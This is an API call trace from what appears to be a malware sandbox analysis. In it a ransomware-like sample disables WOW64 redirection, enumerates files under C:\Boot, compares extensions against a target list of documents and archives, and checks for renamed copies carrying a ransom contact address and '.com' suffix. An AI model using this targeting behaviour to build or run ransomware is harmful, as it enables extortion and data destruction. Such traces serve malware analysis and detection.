RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706b38 [0241.644] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x100000) returned 0x3c7a020 [0241.647] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706898 [0241.647] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706898, Size=0x20) returned 0x6e4018 [0241.647] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10) returned 0x706aa8 [0241.647] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x706aa8, Size=0x20) returned 0x6e3de8 [0241.647] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75420000 [0241.647] GetProcAddress (hModule=0x75420000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75436b30 [0241.648] Wow64DisableWow64FsRedirection (in: OldValue=0x362ff50 | out: OldValue=0x362ff50*=0x0) returned 1 [0241.648] lstrlenW (lpString="kernel32.dll") returned 12 [0241.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e4018 | out: hHeap=0x630000) returned 1 [0241.648] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0241.648] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e3de8 | out: hHeap=0x630000) returned 1 [0241.648] Sleep (dwMilliseconds=0x64) [0242.051] Sleep (dwMilliseconds=0x64) [0242.261] Sleep (dwMilliseconds=0x64) [0242.571] Sleep (dwMilliseconds=0x64) [0242.843] lstrcmpiW (lpString1=".LOG2", lpString2=".com") returned 1 [0242.843] lstrlenW (lpString="BCD.LOG2") returned 8 [0242.843] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG2" (normalized: "c:\\boot\\bcd.log2"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.847] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=0) returned 1 [0242.847] CloseHandle (hObject=0x1100) returned 1 [0242.847] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.847] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.847] lstrlenW (lpString=".doc") returned 4 [0242.847] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0242.847] lstrlenW (lpString=".docx") returned 5 [0242.847] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0242.847] lstrlenW (lpString=".pdf") returned 4 [0242.847] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0242.847] lstrlenW (lpString=".xls") returned 4 [0242.847] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0242.847] lstrlenW (lpString=".xlsx") returned 5 [0242.847] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0242.847] lstrlenW (lpString=".ppt") returned 4 [0242.847] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0242.847] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.847] lstrlenW (lpString=".zip") returned 4 [0242.847] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0242.847] lstrlenW (lpString=".rar") returned 4 [0242.847] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0242.847] lstrlenW (lpString=".bz2") returned 4 [0242.847] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0242.847] lstrlenW (lpString=".7z") returned 3 [0242.847] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0242.847] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.847] lstrlenW (lpString=".dbf") returned 4 [0242.848] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.848] lstrlenW (lpString=".1cd") returned 4 [0242.848] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.848] lstrlenW (lpString=".jpg") returned 4 [0242.848] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.848] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.848] lstrlenW (lpString=".doc") returned 4 [0242.848] lstrcmpiW (lpString1=".doc", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString=".docx") returned 5 [0242.848] lstrcmpiW (lpString1=".docx", lpString2=".LOG2") returned -1 [0242.848] lstrlenW (lpString=".pdf") returned 4 [0242.848] lstrcmpiW (lpString1=".pdf", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString=".xls") returned 4 [0242.848] lstrcmpiW (lpString1=".xls", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString=".xlsx") returned 5 [0242.848] lstrcmpiW (lpString1=".xlsx", lpString2=".LOG2") returned 1 [0242.848] lstrlenW (lpString=".ppt") returned 4 [0242.848] lstrcmpiW (lpString1=".ppt", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.848] lstrlenW (lpString=".zip") returned 4 [0242.848] lstrcmpiW (lpString1=".zip", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString=".rar") returned 4 [0242.848] lstrcmpiW (lpString1=".rar", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString=".bz2") returned 4 [0242.848] lstrcmpiW (lpString1=".bz2", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString=".7z") returned 3 [0242.848] lstrcmpiW (lpString1=".7z", lpString2="OG2") returned -1 [0242.848] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.848] lstrlenW (lpString=".dbf") returned 4 [0242.848] lstrcmpiW (lpString1=".dbf", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.848] lstrlenW (lpString=".1cd") returned 4 [0242.848] lstrcmpiW (lpString1=".1cd", lpString2="LOG2") returned -1 [0242.848] lstrlenW (lpString="C:\\Boot\\BCD.LOG2") returned 16 [0242.849] lstrlenW (lpString=".jpg") returned 4 [0242.849] lstrcmpiW (lpString1=".jpg", lpString2="LOG2") returned -1 [0242.849] lstrcmpiW (lpString1=".dll", lpString2=".com") returned 1 [0242.849] lstrlenW (lpString="bootvhd.dll") returned 11 [0242.849] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.849] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=99744) returned 1 [0242.849] CloseHandle (hObject=0x1100) returned 1 [0242.849] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll")) returned 0x20 [0242.849] GetFileAttributesW (lpFileName="C:\\Boot\\bootvhd.dll.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\bootvhd.dll.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.849] CreateFileW (lpFileName="C:\\Boot\\bootvhd.dll" (normalized: "c:\\boot\\bootvhd.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.850] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.850] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.850] lstrlenW (lpString=".doc") returned 4 [0242.850] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0242.850] lstrlenW (lpString=".docx") returned 5 [0242.850] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0242.850] lstrlenW (lpString=".pdf") returned 4 [0242.850] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0242.850] lstrlenW (lpString=".xls") returned 4 [0242.850] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0242.850] lstrlenW (lpString=".xlsx") returned 5 [0242.850] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0242.850] lstrlenW (lpString=".ppt") returned 4 [0242.850] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0242.850] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.850] lstrlenW (lpString=".zip") returned 4 [0242.850] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0242.850] lstrlenW (lpString=".rar") returned 4 [0242.850] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0242.850] lstrlenW (lpString=".bz2") returned 4 [0242.850] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0242.850] lstrlenW (lpString=".7z") returned 3 [0242.850] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0242.850] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.850] lstrlenW (lpString=".dbf") returned 4 [0242.850] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0242.850] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.850] lstrlenW (lpString=".1cd") returned 4 [0242.850] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0242.850] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.850] lstrlenW (lpString=".jpg") returned 4 [0242.850] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0242.850] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.850] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.851] lstrlenW (lpString=".doc") returned 4 [0242.851] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0242.851] lstrlenW (lpString=".docx") returned 5 [0242.851] lstrcmpiW (lpString1=".docx", lpString2="d.dll") returned -1 [0242.851] lstrlenW (lpString=".pdf") returned 4 [0242.851] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0242.851] lstrlenW (lpString=".xls") returned 4 [0242.851] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0242.851] lstrlenW (lpString=".xlsx") returned 5 [0242.851] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0242.851] lstrlenW (lpString=".ppt") returned 4 [0242.851] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0242.851] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.851] lstrlenW (lpString=".zip") returned 4 [0242.851] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0242.851] lstrlenW (lpString=".rar") returned 4 [0242.851] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0242.851] lstrlenW (lpString=".bz2") returned 4 [0242.851] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0242.851] lstrlenW (lpString=".7z") returned 3 [0242.851] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0242.851] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.851] lstrlenW (lpString=".dbf") returned 4 [0242.851] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0242.851] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.851] lstrlenW (lpString=".1cd") returned 4 [0242.851] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0242.851] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0242.851] lstrlenW (lpString=".jpg") returned 4 [0242.851] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0242.851] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0242.851] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0242.852] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.852] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=76632) returned 1 [0242.852] CloseHandle (hObject=0x1100) returned 1 [0242.852] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0242.852] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.852] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.852] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.852] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.852] lstrlenW (lpString=".doc") returned 4 [0242.852] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.852] lstrlenW (lpString=".docx") returned 5 [0242.852] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.852] lstrlenW (lpString=".pdf") returned 4 [0242.852] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.852] lstrlenW (lpString=".xls") returned 4 [0242.852] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.852] lstrlenW (lpString=".xlsx") returned 5 [0242.853] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.853] lstrlenW (lpString=".ppt") returned 4 [0242.853] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.853] lstrlenW (lpString=".zip") returned 4 [0242.853] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.853] lstrlenW (lpString=".rar") returned 4 [0242.853] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.853] lstrlenW (lpString=".bz2") returned 4 [0242.853] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.853] lstrlenW (lpString=".7z") returned 3 [0242.853] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.853] lstrlenW (lpString=".dbf") returned 4 [0242.853] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0242.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.853] lstrlenW (lpString=".1cd") returned 4 [0242.853] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0242.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.853] lstrlenW (lpString=".jpg") returned 4 [0242.853] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0242.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.853] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.853] lstrlenW (lpString=".doc") returned 4 [0242.853] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.853] lstrlenW (lpString=".docx") returned 5 [0242.853] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.853] lstrlenW (lpString=".pdf") returned 4 [0242.853] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.853] lstrlenW (lpString=".xls") returned 4 [0242.853] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.853] lstrlenW (lpString=".xlsx") returned 5 [0242.853] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.853] lstrlenW (lpString=".ppt") returned 4 [0242.854] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.854] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.854] lstrlenW (lpString=".zip") returned 4 [0242.854] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.854] lstrlenW (lpString=".rar") returned 4 [0242.854] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.854] lstrlenW (lpString=".bz2") returned 4 [0242.854] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.854] lstrlenW (lpString=".7z") returned 3 [0242.854] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.854] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.854] lstrlenW (lpString=".dbf") returned 4 [0242.854] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0242.854] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.854] lstrlenW (lpString=".1cd") returned 4 [0242.854] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0242.854] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0242.854] lstrlenW (lpString=".jpg") returned 4 [0242.854] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0242.854] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0242.854] lstrlenW (lpString="memtest.exe.mui") returned 15 [0242.854] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.854] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=45472) returned 1 [0242.854] CloseHandle (hObject=0x1100) returned 1 [0242.855] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui")) returned 0x20 [0242.855] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.855] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\memtest.exe.mui" (normalized: "c:\\boot\\cs-cz\\memtest.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.855] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.855] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.855] lstrlenW (lpString=".doc") returned 4 [0242.855] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.855] lstrlenW (lpString=".docx") returned 5 [0242.855] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.855] lstrlenW (lpString=".pdf") returned 4 [0242.855] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.855] lstrlenW (lpString=".xls") returned 4 [0242.855] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.855] lstrlenW (lpString=".xlsx") returned 5 [0242.855] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.855] lstrlenW (lpString=".ppt") returned 4 [0242.855] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.855] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.855] lstrlenW (lpString=".zip") returned 4 [0242.855] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.855] lstrlenW (lpString=".rar") returned 4 [0242.855] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.855] lstrlenW (lpString=".bz2") returned 4 [0242.855] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.855] lstrlenW (lpString=".7z") returned 3 [0242.855] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.856] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.856] lstrlenW (lpString=".dbf") returned 4 [0242.856] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0242.856] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.856] lstrlenW (lpString=".1cd") returned 4 [0242.856] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0242.856] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.856] lstrlenW (lpString=".jpg") returned 4 [0242.856] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0242.856] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.856] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.856] lstrlenW (lpString=".doc") returned 4 [0242.856] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.856] lstrlenW (lpString=".docx") returned 5 [0242.856] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.856] lstrlenW (lpString=".pdf") returned 4 [0242.856] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.856] lstrlenW (lpString=".xls") returned 4 [0242.856] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.856] lstrlenW (lpString=".xlsx") returned 5 [0242.856] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.856] lstrlenW (lpString=".ppt") returned 4 [0242.856] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.856] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.856] lstrlenW (lpString=".zip") returned 4 [0242.856] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.856] lstrlenW (lpString=".rar") returned 4 [0242.856] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.856] lstrlenW (lpString=".bz2") returned 4 [0242.856] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.856] lstrlenW (lpString=".7z") returned 3 [0242.856] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.856] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.856] lstrlenW (lpString=".dbf") returned 4 [0242.856] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0242.856] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.857] lstrlenW (lpString=".1cd") returned 4 [0242.857] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0242.857] lstrlenW (lpString="C:\\Boot\\cs-CZ\\memtest.exe.mui") returned 29 [0242.857] lstrlenW (lpString=".jpg") returned 4 [0242.857] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0242.857] lstrcmpiW (lpString1=".mui", lpString2=".com") returned 1 [0242.857] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0242.857] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1100 [0242.857] GetFileSizeEx (in: hFile=0x1100, lpFileSize=0x362ff14 | out: lpFileSize=0x362ff14*=75616) returned 1 [0242.857] CloseHandle (hObject=0x1100) returned 1 [0242.857] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui")) returned 0x20 [0242.857] GetFileAttributesW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui.id-b4197730.[bitcharity@protonmail.com].com")) returned 0xffffffff [0242.857] CreateFileW (lpFileName="C:\\Boot\\da-DK\\bootmgr.exe.mui" (normalized: "c:\\boot\\da-dk\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0242.858] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.858] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.858] lstrlenW (lpString=".doc") returned 4 [0242.858] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.858] lstrlenW (lpString=".docx") returned 5 [0242.858] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.858] lstrlenW (lpString=".pdf") returned 4 [0242.858] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.858] lstrlenW (lpString=".xls") returned 4 [0242.858] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.858] lstrlenW (lpString=".xlsx") returned 5 [0242.858] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.858] lstrlenW (lpString=".ppt") returned 4 [0242.858] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.858] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.858] lstrlenW (lpString=".zip") returned 4 [0242.858] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.858] lstrlenW (lpString=".rar") returned 4 [0242.858] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.858] lstrlenW (lpString=".bz2") returned 4 [0242.858] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.858] lstrlenW (lpString=".7z") returned 3 [0242.858] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.858] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.858] lstrlenW (lpString=".dbf") returned 4 [0242.858] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0242.858] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.858] lstrlenW (lpString=".1cd") returned 4 [0242.858] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0242.858] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.858] lstrlenW (lpString=".jpg") returned 4 [0242.858] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0242.858] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.858] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.858] lstrlenW (lpString=".doc") returned 4 [0242.859] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0242.859] lstrlenW (lpString=".docx") returned 5 [0242.859] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0242.859] lstrlenW (lpString=".pdf") returned 4 [0242.859] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0242.859] lstrlenW (lpString=".xls") returned 4 [0242.859] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0242.859] lstrlenW (lpString=".xlsx") returned 5 [0242.859] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0242.859] lstrlenW (lpString=".ppt") returned 4 [0242.859] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0242.859] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.859] lstrlenW (lpString=".zip") returned 4 [0242.859] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0242.859] lstrlenW (lpString=".rar") returned 4 [0242.859] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0242.859] lstrlenW (lpString=".bz2") returned 4 [0242.859] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0242.859] lstrlenW (lpString=".7z") returned 3 [0242.859] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0242.859] lstrlenW (lpString="C:\\Boot\\da-DK\\bootmgr.exe.mui") returned 29 [0242.859] lstrlenW (lpString=".dbf") returned 4 [0242.859] lstrcmpiW 